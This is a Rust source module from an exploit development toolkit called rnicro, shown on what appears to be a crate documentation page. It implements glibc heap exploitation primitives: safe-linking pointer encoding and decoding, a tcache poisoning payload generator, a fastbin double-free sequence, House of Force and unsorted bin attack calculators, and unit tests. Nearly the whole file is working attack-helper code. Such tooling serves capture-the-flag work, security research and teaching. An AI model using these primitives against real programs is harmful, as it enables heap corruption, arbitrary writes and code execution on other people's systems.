rnicro 0.1.0

A Linux x86_64 debugger and exploit development toolkit written in Rust
Documentation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
//! Heap exploit primitives for glibc.
//!
//! Higher-level helpers for common heap exploitation techniques:
//! tcache poisoning, fastbin dup, House of Force, unsorted bin attack,
//! and glibc safe-linking encode/decode.

/// glibc version info affecting exploit technique availability.
#[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord)]
pub struct GlibcVersion {
    pub major: u32,
    pub minor: u32,
}

impl GlibcVersion {
    pub fn new(major: u32, minor: u32) -> Self {
        Self { major, minor }
    }

    /// Safe-linking (PROTECT_PTR) was added in glibc 2.32.
    pub fn has_safe_linking(&self) -> bool {
        *self >= Self::new(2, 32)
    }

    /// Tcache double-free detection (key field) was added in glibc 2.29.
    pub fn has_tcache_key(&self) -> bool {
        *self >= Self::new(2, 29)
    }

    /// House of Force mitigation (top chunk size check) in glibc 2.29.
    pub fn has_top_size_check(&self) -> bool {
        *self >= Self::new(2, 29)
    }

    /// Unsorted bin attack mitigation (bk validation) in glibc 2.29.
    pub fn has_unsorted_bin_check(&self) -> bool {
        *self >= Self::new(2, 29)
    }

    /// Tcache count hardening in glibc 2.34 (random key instead of struct addr).
    pub fn has_random_tcache_key(&self) -> bool {
        *self >= Self::new(2, 34)
    }
}

impl std::fmt::Display for GlibcVersion {
    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
        write!(f, "glibc {}.{}", self.major, self.minor)
    }
}

// ── Safe-Linking ──

/// Encode a pointer using glibc's safe-linking (PROTECT_PTR).
///
/// `pos` is the address where the fd pointer is stored (chunk + 0x10).
/// `ptr` is the actual pointer value to store.
///
/// Formula: `(pos >> 12) ^ ptr`
pub fn safe_link_encode(pos: u64, ptr: u64) -> u64 {
    (pos >> 12) ^ ptr
}

/// Decode a safe-linked pointer (REVEAL_PTR).
///
/// `pos` is the address of the fd field, `encoded` is the stored value.
///
/// Formula: `(pos >> 12) ^ encoded`
pub fn safe_link_decode(pos: u64, encoded: u64) -> u64 {
    (pos >> 12) ^ encoded
}

// ── Tcache Poisoning ──

/// Payload for a tcache poisoning attack.
#[derive(Debug, Clone)]
pub struct TcachePoisonPayload {
    /// Value to write into the fd field of the victim chunk.
    pub fd_value: u64,
    /// Number of mallocs needed after the overwrite to get the target pointer.
    pub mallocs_needed: usize,
    /// Allocation size to use for malloc calls.
    pub alloc_size: usize,
    /// Whether safe-linking encoding was applied.
    pub safe_linked: bool,
    /// Human-readable step-by-step description.
    pub steps: Vec<String>,
}

/// Generate a tcache poisoning payload.
///
/// Overwrites a freed tcache chunk's fd pointer so that a subsequent
/// `malloc()` returns `target_addr`.
///
/// `victim_chunk_addr`: address of the freed chunk whose fd to corrupt.
/// `target_addr`: desired return value from a future malloc.
/// `alloc_size`: malloc size matching the tcache bin.
/// `glibc`: target glibc version (affects safe-linking).
pub fn tcache_poison(
    victim_chunk_addr: u64,
    target_addr: u64,
    alloc_size: usize,
    glibc: GlibcVersion,
) -> TcachePoisonPayload {
    let fd_addr = victim_chunk_addr + 16; // fd at chunk + 0x10
    let fd_value = if glibc.has_safe_linking() {
        safe_link_encode(fd_addr, target_addr)
    } else {
        target_addr
    };

    let mut steps = vec![
        format!("1. Overwrite fd at {:#x} with {:#x}", fd_addr, fd_value),
    ];
    if glibc.has_safe_linking() {
        steps.push(format!(
            "   (safe-linked: encode({:#x}, {:#x}) = {:#x})",
            fd_addr, target_addr, fd_value,
        ));
    }
    steps.push(format!(
        "2. malloc({}) -> returns victim chunk at {:#x}",
        alloc_size, victim_chunk_addr
    ));
    steps.push(format!(
        "3. malloc({}) -> returns target at {:#x}",
        alloc_size, target_addr
    ));

    TcachePoisonPayload {
        fd_value,
        mallocs_needed: 2,
        alloc_size,
        safe_linked: glibc.has_safe_linking(),
        steps,
    }
}

// ── Fastbin Dup ──

/// An action in a fastbin dup sequence.
#[derive(Debug, Clone)]
pub enum FastbinAction {
    /// Free chunk with label.
    Free(String),
    /// Allocate and receive a chunk.
    Alloc(String),
    /// Write fd value to the allocated chunk.
    WriteFd(u64),
}

/// Payload for a fastbin dup attack.
#[derive(Debug, Clone)]
pub struct FastbinDupPayload {
    /// Ordered sequence of actions.
    pub sequence: Vec<FastbinAction>,
    /// The fd overwrite value.
    pub fd_overwrite: u64,
    /// Allocation size.
    pub alloc_size: usize,
    /// Whether tcache needs to be filled first.
    pub needs_tcache_fill: bool,
    /// Step descriptions.
    pub steps: Vec<String>,
}

/// Generate a fastbin dup attack plan.
///
/// For glibc < 2.26: simple A-B-A double-free.
/// For glibc >= 2.26: fill tcache first (7 frees), then A-B-A in fastbin.
pub fn fastbin_dup(
    target_addr: u64,
    alloc_size: usize,
    glibc: GlibcVersion,
) -> FastbinDupPayload {
    let needs_tcache = glibc >= GlibcVersion::new(2, 26);
    let mut sequence = Vec::new();
    let mut steps = Vec::new();

    if needs_tcache {
        steps.push("Phase 1: Fill tcache bin (7 chunks)".into());
        for i in 0..7 {
            sequence.push(FastbinAction::Free(format!("T{}", i)));
        }
        steps.push("  free(T0) through free(T6) — fills tcache".into());
    }

    steps.push("Phase 2: Fastbin double-free".into());
    sequence.push(FastbinAction::Free("A".into()));
    sequence.push(FastbinAction::Free("B".into()));
    sequence.push(FastbinAction::Free("A".into()));
    steps.push("  free(A), free(B), free(A) — fastbin: A→B→A".into());

    if needs_tcache {
        steps.push("Phase 3: Drain tcache".into());
        for i in 0..7 {
            sequence.push(FastbinAction::Alloc(format!("T{}", i)));
        }
        steps.push("  malloc() × 7 — empties tcache, next allocs come from fastbin".into());
    }

    steps.push("Phase 4: Exploit".into());
    sequence.push(FastbinAction::Alloc("A1".into()));
    sequence.push(FastbinAction::WriteFd(target_addr));
    steps.push(format!("  malloc() → A, write fd = {:#x}", target_addr));
    sequence.push(FastbinAction::Alloc("B1".into()));
    steps.push("  malloc() → B".into());
    sequence.push(FastbinAction::Alloc("A2".into()));
    steps.push("  malloc() → A (duplicate)".into());
    sequence.push(FastbinAction::Alloc("TARGET".into()));
    steps.push(format!("  malloc() → {:#x} (target!)", target_addr));

    FastbinDupPayload {
        sequence,
        fd_overwrite: target_addr,
        alloc_size,
        needs_tcache_fill: needs_tcache,
        steps,
    }
}

// ── House of Force ──

/// Calculator for House of Force attack parameters.
#[derive(Debug, Clone)]
pub struct HouseOfForceCalc {
    /// Value to overwrite top chunk size with.
    pub evil_size: u64,
    /// Malloc size to bridge the gap to the target.
    pub distance_alloc: u64,
    /// Final malloc size to get the target pointer.
    pub target_alloc: usize,
    /// Whether this technique is feasible for the target glibc version.
    pub feasible: bool,
    /// Step descriptions.
    pub steps: Vec<String>,
}

/// Calculate House of Force parameters.
///
/// `top_chunk_addr`: current address of the top (wilderness) chunk.
/// `target_addr`: desired address for a future malloc return.
/// `alloc_size`: size for the final malloc call.
/// `glibc`: target glibc version (mitigated >= 2.29).
pub fn house_of_force(
    top_chunk_addr: u64,
    target_addr: u64,
    alloc_size: usize,
    glibc: GlibcVersion,
) -> HouseOfForceCalc {
    let feasible = !glibc.has_top_size_check();
    let evil_size: u64 = 0xFFFF_FFFF_FFFF_FFFF;
    // Distance = target - (top + header_size); header = 2 * 8 on x86_64
    let header_size = 2u64 * 8;
    let top_data = top_chunk_addr.wrapping_add(header_size);
    let distance = target_addr.wrapping_sub(top_data).wrapping_sub(header_size);

    let mut steps = vec![
        format!("1. Overflow top chunk size at {:#x} to {:#x}", top_chunk_addr + 8, evil_size),
        format!("2. malloc({:#x}) — advances top to near target", distance),
        format!("3. malloc({}) → returns near {:#x}", alloc_size, target_addr),
    ];
    if !feasible {
        steps.push(format!("WARNING: {} has top-size check — attack mitigated", glibc));
    }

    HouseOfForceCalc {
        evil_size,
        distance_alloc: distance,
        target_alloc: alloc_size,
        feasible,
        steps,
    }
}

// ── Unsorted Bin Attack ──

/// Payload for an unsorted bin attack.
#[derive(Debug, Clone)]
pub struct UnsortedBinPayload {
    /// Value to write into the victim chunk's bk field.
    pub bk_value: u64,
    /// What the attack writes to the target (a libc address).
    pub written_value_description: String,
    /// Whether this technique is feasible for the target glibc version.
    pub feasible: bool,
    /// Step descriptions.
    pub steps: Vec<String>,
}

/// Generate unsorted bin attack payload.
///
/// After the attack, `*target_addr` will contain a libc heap pointer
/// (the unsorted bin head address from main_arena).
pub fn unsorted_bin_attack(
    victim_chunk_addr: u64,
    target_addr: u64,
    glibc: GlibcVersion,
) -> UnsortedBinPayload {
    let bk_value = target_addr.wrapping_sub(0x10);
    let feasible = !glibc.has_unsorted_bin_check();

    let mut steps = vec![
        format!("1. Overwrite victim bk at {:#x} with {:#x}", victim_chunk_addr + 24, bk_value),
        "2. Trigger malloc that processes the unsorted bin".into(),
        format!("3. *({:#x}) now contains a libc address (unsorted bin head)", target_addr),
    ];
    if !feasible {
        steps.push(format!("WARNING: {} validates bk — attack mitigated", glibc));
    }

    UnsortedBinPayload {
        bk_value,
        written_value_description: "main_arena.bins[0] (unsorted bin head)".into(),
        feasible,
        steps,
    }
}

/// Calculate the tcache key value for double-free detection.
///
/// In glibc 2.29-2.33, the key is the tcache_perthread_struct address.
/// In glibc 2.34+, it's a random value (must be leaked at runtime).
pub fn tcache_key_value(tcache_struct_addr: u64, glibc: GlibcVersion) -> Option<u64> {
    if glibc.has_random_tcache_key() {
        None // Random, must be leaked
    } else if glibc.has_tcache_key() {
        Some(tcache_struct_addr)
    } else {
        None // No key field
    }
}

/// Compute the chunk size for a given user request size on x86_64.
///
/// glibc rounds up: `(request + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK`
/// Minimum chunk size is 32 bytes on x86_64 (MINSIZE).
pub fn request_to_chunk_size(request: usize) -> usize {
    let size_sz = 8;
    let malloc_align_mask = 0xF;
    let min_size = 32;
    let padded = (request + size_sz + malloc_align_mask) & !malloc_align_mask;
    padded.max(min_size)
}

/// Convert chunk size to the corresponding tcache bin index.
///
/// Returns `None` if the size is too large for tcache (> 1040 on x86_64).
pub fn chunk_size_to_tcache_idx(chunk_size: usize) -> Option<usize> {
    if !(32..=1040).contains(&chunk_size) || !chunk_size.is_multiple_of(16) {
        return None;
    }
    Some(chunk_size / 16 - 2)
}

/// Convert chunk size to the corresponding fastbin index.
///
/// Returns `None` if the size is too large for fastbins (> 176 on x86_64).
pub fn chunk_size_to_fastbin_idx(chunk_size: usize) -> Option<usize> {
    if !(32..=176).contains(&chunk_size) || !chunk_size.is_multiple_of(16) {
        return None;
    }
    Some(chunk_size / 16 - 2)
}

#[cfg(test)]
mod tests {
    use super::*;

    #[test]
    fn safe_link_roundtrip() {
        let pos = 0x555555559010u64;
        let ptr = 0x555555559050u64;
        let encoded = safe_link_encode(pos, ptr);
        let decoded = safe_link_decode(pos, encoded);
        assert_eq!(decoded, ptr);
    }

    #[test]
    fn safe_link_encode_known() {
        // pos >> 12 = 0x555555559, XOR with ptr
        let pos = 0x555555559010u64;
        let ptr = 0u64; // NULL
        assert_eq!(safe_link_encode(pos, ptr), pos >> 12);
    }

    #[test]
    fn safe_link_zero_pos() {
        // pos=0 means mask is 0, so encoded == ptr
        assert_eq!(safe_link_encode(0, 0x1234), 0x1234);
        assert_eq!(safe_link_decode(0, 0x1234), 0x1234);
    }

    #[test]
    fn tcache_poison_no_safe_link() {
        let payload = tcache_poison(0x555000, 0x7fff0000, 0x20, GlibcVersion::new(2, 27));
        assert_eq!(payload.fd_value, 0x7fff0000);
        assert!(!payload.safe_linked);
        assert_eq!(payload.mallocs_needed, 2);
    }

    #[test]
    fn tcache_poison_with_safe_link() {
        let payload = tcache_poison(0x555000, 0x7fff0000, 0x20, GlibcVersion::new(2, 35));
        assert!(payload.safe_linked);
        let fd_addr = 0x555000 + 16;
        assert_eq!(payload.fd_value, safe_link_encode(fd_addr, 0x7fff0000));
    }

    #[test]
    fn fastbin_dup_no_tcache() {
        let payload = fastbin_dup(0x601000, 0x20, GlibcVersion::new(2, 23));
        assert!(!payload.needs_tcache_fill);
        assert_eq!(payload.fd_overwrite, 0x601000);
    }

    #[test]
    fn fastbin_dup_with_tcache() {
        let payload = fastbin_dup(0x601000, 0x20, GlibcVersion::new(2, 31));
        assert!(payload.needs_tcache_fill);
    }

    #[test]
    fn house_of_force_old_glibc() {
        let calc = house_of_force(0x602000, 0x601000, 0x20, GlibcVersion::new(2, 27));
        assert!(calc.feasible);
        assert_eq!(calc.evil_size, u64::MAX);
    }

    #[test]
    fn house_of_force_new_glibc() {
        let calc = house_of_force(0x602000, 0x601000, 0x20, GlibcVersion::new(2, 31));
        assert!(!calc.feasible);
    }

    #[test]
    fn unsorted_bin_bk_value() {
        let payload = unsorted_bin_attack(0x602000, 0x601040, GlibcVersion::new(2, 27));
        assert_eq!(payload.bk_value, 0x601040 - 0x10);
        assert!(payload.feasible);
    }

    #[test]
    fn unsorted_bin_mitigated() {
        let payload = unsorted_bin_attack(0x602000, 0x601040, GlibcVersion::new(2, 31));
        assert!(!payload.feasible);
    }

    #[test]
    fn glibc_version_features() {
        let old = GlibcVersion::new(2, 23);
        assert!(!old.has_safe_linking());
        assert!(!old.has_tcache_key());
        assert!(!old.has_top_size_check());

        let mid = GlibcVersion::new(2, 31);
        assert!(!mid.has_safe_linking());
        assert!(mid.has_tcache_key());
        assert!(mid.has_top_size_check());

        let new = GlibcVersion::new(2, 35);
        assert!(new.has_safe_linking());
        assert!(new.has_tcache_key());
        assert!(new.has_random_tcache_key());
    }

    #[test]
    fn request_to_chunk_size_minimum() {
        // Any small request should give at least 32 (MINSIZE)
        assert_eq!(request_to_chunk_size(0), 32);
        assert_eq!(request_to_chunk_size(1), 32);
        assert_eq!(request_to_chunk_size(24), 32);
    }

    #[test]
    fn request_to_chunk_size_alignment() {
        assert_eq!(request_to_chunk_size(25), 48);
        assert_eq!(request_to_chunk_size(0x18), 32); // 24 + 8 = 32, aligned
        assert_eq!(request_to_chunk_size(0x28), 48); // 40 + 8 = 48, aligned
    }

    #[test]
    fn tcache_idx_conversion() {
        assert_eq!(chunk_size_to_tcache_idx(32), Some(0));
        assert_eq!(chunk_size_to_tcache_idx(48), Some(1));
        assert_eq!(chunk_size_to_tcache_idx(1040), Some(63));
        assert_eq!(chunk_size_to_tcache_idx(1056), None); // too large
        assert_eq!(chunk_size_to_tcache_idx(33), None); // not aligned
    }

    #[test]
    fn fastbin_idx_conversion() {
        assert_eq!(chunk_size_to_fastbin_idx(32), Some(0));
        assert_eq!(chunk_size_to_fastbin_idx(176), Some(9));
        assert_eq!(chunk_size_to_fastbin_idx(192), None); // too large
    }

    #[test]
    fn tcache_key_versions() {
        assert_eq!(tcache_key_value(0x5555, GlibcVersion::new(2, 27)), None);
        assert_eq!(tcache_key_value(0x5555, GlibcVersion::new(2, 31)), Some(0x5555));
        assert_eq!(tcache_key_value(0x5555, GlibcVersion::new(2, 35)), None);
    }
}